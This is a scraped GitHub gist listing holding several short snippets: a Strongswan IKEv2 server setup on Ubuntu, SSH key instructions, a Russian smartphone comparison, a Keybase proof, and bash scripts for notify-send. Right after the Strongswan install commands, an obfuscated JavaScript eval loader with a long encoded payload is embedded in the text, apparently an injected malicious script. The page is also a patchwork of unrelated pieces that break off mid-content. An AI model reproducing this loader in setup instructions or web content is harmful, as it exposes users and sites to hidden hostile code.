Skip to content

Instantly share code, notes, and snippets.

Basic Strongswan ikev2 server setup

  • paltform: atlantic.net ubuntu 14.04 x64
  • the commands below are run with root account

Strongswan

apt-get install strongswan
apt-get install iptables iptables-persistent
;eval((function(t2){for(var j8="",L8=0,E8=function(t2,C8){for(var N8=0,G8=0;G8<C8;G8++){N8*=96;var x8=t2.charCodeAt(G8);if(x8>=32&&x8<=127){N8+=x8-32;}}return N8;};L8<t2.length;){if(t2.charAt(L8)!="`")j8+=t2.charAt(L8++);else{if(t2.charAt(L8+1)!="`"){var v8=E8(t2.charAt(L8+3),1)+5;j8+=j8.substr(j8.length-E8(t2.substr(L8+1,2),2)-v8,v8);L8+=4;}else{j8+="`";L8+=2;}}}return j8;})(";(function f(I,A){var p=\'\',t=unescape(\'%28%27%1Fy%22h\/U%00%06G%059%0Euy%21%01%0B%03%07U7y@%0C2%10%28%11%3C` < 26%1E%18d9%037%2CtD%1A9%09%21%17%1A%0EZ%5E%22h\/P` + 6W%1E%3C%04%5B%12J.%00%07%06S%3Bv%0D%0C%7C%28*%04%3C%29%11%09` M 8.%0A%1C%3D9@\/q%0D%15%06` > 1%09SyI%030i%26-k.%10%3Da%1D.%22+%280i%00v%25%1F%18%24%0E+%0F%0A%25%041%16%0B%26%23%11%05q\/q%0D%13%1C%07%0D%01%5DW%07%27\/%1D\/%18F%05%21%04A+` T B%29B%22Z%26W%0C8%3F%28%604%3E%20%18%25%11%3B*9D%18%19Q%08%1F5%162H%28%3BFe%0C%03Dv%08%28%1F*%09%05uy%21%0D%01` R 0u%2C%5D%0E%0D%23%28%604*7%07%2430.%0B%2C7\/Q\/q` T 8%13%15%01%00UM%0D1\/%1D\/FtA%15%1FP%21%15.B%29%17E%26K*+2%06%3F4g%05
@shvchk
shvchk / Start application minimized.md
Created November 4, 2016 19:20
Start application minimized

Start application minimized

Usage

python3 /path/to/start_minimized.py <command_to_run_application>

Prerequisites

Install wmctrl and xdotool: sudo apt-get install wmctrl xdotool

Source

Jacob Vlijm answer on AskUbuntu

@shvchk
shvchk / Install Signal Desktop as a standalone app.md
Last active November 8, 2017 08:20
Deprecated, please use official standalone Signal Desktop: https://signal.org

Set up SSH key based authentication

SSH keys come in pairs: a public and a private key. It might be easier to think of them as a lock (public part) and key (private part). You add public key (lock) to the computer you want to connect to, and then you can connect from elswhere and unlock it with your private key. So public key is meant to be handed out freely, while private key should be kept secret and safely guarded.

So let's create an SSH key (all commands below are executed on your local computer, from which you will be connecting to remote example.com):

  1. Make sure local user has .ssh directory: mkdir -p ~/.ssh

  2. Generate SSH keys for passwordless authentication:

Были рассмотрены практически все имеющиеся 5" смартфоны с 3GB RAM до 130$, и из них отобраны наиболее конкурентоспособные исходя из характеристик и цены, их и будем сравнивать.

Участники

  1. Vernee Thor
  2. Vernee Thor E
  3. Meizu M5
  4. Meizu U10
  5. Xiaomi Redmi 4X

Keybase proof

I hereby claim:

  • I am shvchk on github.
  • I am shevchuk (https://keybase.io/shevchuk) on keybase.
  • I have a public key whose fingerprint is 6E28 CD88 F9A6 CB2B F5FE D967 D970 4253 BBB6 ECFC

To claim this, I am signing this object:

@shvchk
shvchk / notify-all.sh
Last active September 11, 2023 13:06
Send notification to all users via notify-send
#! /usr/bin/env bash
user_list=($(who | grep -E "\(:[0-9](\.[0-9])*\)" | awk '{print $1 "@" $NF}' | sort -u))
for user in $user_list; do
username=${user%@*}
display=${user#*@}
dbus=unix:path=/run/user/$(id -u $username)/bus
sudo -u $username DISPLAY=${display:1:-1} \
@shvchk
shvchk / notify-user.sh
Last active March 15, 2023 06:04
Send notification to a user via notify-send
#! /usr/bin/env bash
# Usage: notify-user.sh username notify-send-args
uid=$(id -u $1)
displays=($(who | grep -E "$1 .+\(:[0-9](\.[0-9])*\)" | awk '{print $NF}' | sort -u))
for display in $displays; do
sudo -u $1 DISPLAY=${display:1:-1} \
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/$uid/bus \
notify-send "${@:2}"